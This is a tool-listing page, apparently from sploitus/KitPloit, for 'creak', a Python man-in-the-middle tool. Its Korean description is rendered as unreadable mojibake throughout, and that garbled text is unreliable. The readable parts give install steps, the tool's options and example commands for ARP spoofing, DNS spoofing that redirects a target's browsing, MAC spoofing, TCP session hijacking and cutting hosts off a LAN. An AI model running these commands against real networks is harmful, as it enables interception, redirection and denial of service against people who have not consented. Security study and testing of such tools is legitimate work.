## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CODEPR-CREAK
# creak
λ‘컬 λ€νΈμν¬μ μλ λμ μ£Όμμ λν΄ κ°μ₯ μ μλ €μ§ MITM 곡격 μ€ μΌλΆλ₯Ό μνν©λλ€. μ΄ μ€μλ ARP μ€νΈν 곡격μ μννκ³ λΌμ°ν°λ‘ κ°λ λͺ¨λ μμ²μ TCP 리μ
ν¨ν·μ μ μ‘νμ¬ λ‘컬 λ€νΈμν¬μ μλ λμ νΈμ€νΈμ νμ λ° λ€μ΄λ‘λ κΈ°λ₯μ μ°¨λ¨ν©λλ€. Python μΈμ΄ νμ΅μ μν κ΅μ¬ νλ‘μ νΈλ‘ νμνμΌλ©°, μ΄ μ½λμ μ
μμ μ΄κ±°λ λΆλ²μ μΈ μ¬μ©μ ν¬ν¨ν λͺ¨λ λ¨μ©μ λν μ±
μμ μ§μ§ μμ΅λλ€.
## μ€μΉ
root@kitploit:~
$ git clone https://github.com/codepr/creak.git
$ cd creak
$ python setup.py install
λλ μ μ₯μλ₯Ό ν΄λ‘ νκ³ λͺ¨λ μꡬ μ¬νμ΄ μ€μΉλ ν `creak.py`λ₯Ό μ€ννκΈ°λ§ νλ©΄ λ©λλ€:
root@kitploit:~
$ git clone https://github.com/codepr/creak.git
μμ ν¨ν· μ‘°μμ μν΄ `pcap` λΌμ΄λΈλ¬λ¦¬λ₯Ό μ€μΉν΄μΌ νλ©°, DNS μ€νΈν μ΅μ
μ μν΄ `libdnet` ν¨ν€μ§μ dnet λͺ¨λμ μ€μΉν΄μΌ ν©λλ€. `pydnet`(λ€νΈμν¬ νκ° λꡬ) λͺ¨λκ³Ό νΌλνμ§ λ§μμμ€. μνλ κ²½μ° `scapy`λ₯Ό μ¬μ©ν μλ μμΌλ©°, `config` νμΌμ `[output]` > `ENGINE` μΉμ
μμ μ€μ ν μ μμ΅λλ€.
## μ΅μ
root@kitploit:~
Usage: creak.py [options] dev
Options:
-h, --help show this help message and exit
-1, --sessions-scan Sessions scan mode
-2, --dns-spoof Dns spoofing
-3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique)
-x, --spoof Spoof mode, generate a fake MAC address to be used
during attack
-m MACADDR Mac address octet prefix (could be an entire MAC
address in the form AA:BB:CC:DD:EE:FF)
-M MANUFACTURER Manufacturer of the wireless device, for retrieving a
manufactur based prefix for MAC spoof
-s SOURCE Source ip address (e.g. a class C address like
192.168.1.150) usually the router address
-t TARGET Target ip address (e.g. a class C address like
192.168.1.150), can be specified multiple times
-p PORT Target port to shutdown
-a HOST Target host that will be redirect while navigating on
target machine
-r REDIR Target redirection that will be fetched instead of host
on the target machine
-v, --verbose Verbose output mode
-d, --dotted Dotted output mode
## μμ
κ°μ₯ κΈ°λ³Έμ μΈ μ¬μ©λ²: λμ νΈμ€νΈμ λͺ¨λ νΈλν½ μ°¨λ¨
root@kitploit:~
$ python creak.py -t 192.168.1.30 wlan0
λ€λ₯Έ κ²μ΄νΈμ¨μ΄ μ€μ :
root@kitploit:~
$ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0
μ₯μΉμ λ€λ₯Έ MAC μ£Όμ μ€μ :
root@kitploit:~
$ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0
κ°μ§ MAC μ£Όμλ₯Ό μμ±νμ¬ μ€νΈν:
root@kitploit:~
$ python creak.py -x -t 192.168.1.30 wlan0
μ μ‘°μ
체(μ: Xeros) κΈ°λ°μ MAC μ£Όμλ₯Ό μμ±νμ¬ μ€νΈν:
root@kitploit:~
$ python creak.py -x -M xeros -t 192.168.1.30 wlan0
κ°μ§ MAC μ£Όμλ₯Ό μ¬μ©ν DNS μ€νΈν, ab.xyλ₯Ό cd.xz(μ: localhost)λ‘ λ¦¬λλ μ
:
root@kitploit:~
$ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0
μλΈλ·μ μ¬λ¬ νΈμ€νΈ μ°¨λ¨:
root@kitploit:~
$ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0
## λ³κ²½ λ‘κ·Έ
μμΈν λ΄μ©μ CHANGELOG νμΌμ μ°Έμ‘°νμΈμ.
## ν μΌ
* νμ± λ‘λ μ¬μ©λ κΈ°λ° μΈμ
κ·Έλ£Ήν
* `Scapy` μ§μ μλ£ (**μμλ¨**)
* μΈμ
νμ΄μ¬νΉ (**μμλ¨**)
* νλ¬κ·ΈμΈ μν€ν
μ²λ₯Ό κ°μ§ λ§μ΄ν¬λ‘ νλ μμν¬λ‘ ν¬ν
(**75% μλ£**)
## λΌμ΄μ μ€
λΌμ΄μ μ€ κΆλ¦¬ λ° μ ν μ¬ν(GNU v3)μ λν μμΈν λ΄μ©μ LICENSE νμΌμ μ°Έμ‘°νμΈμ.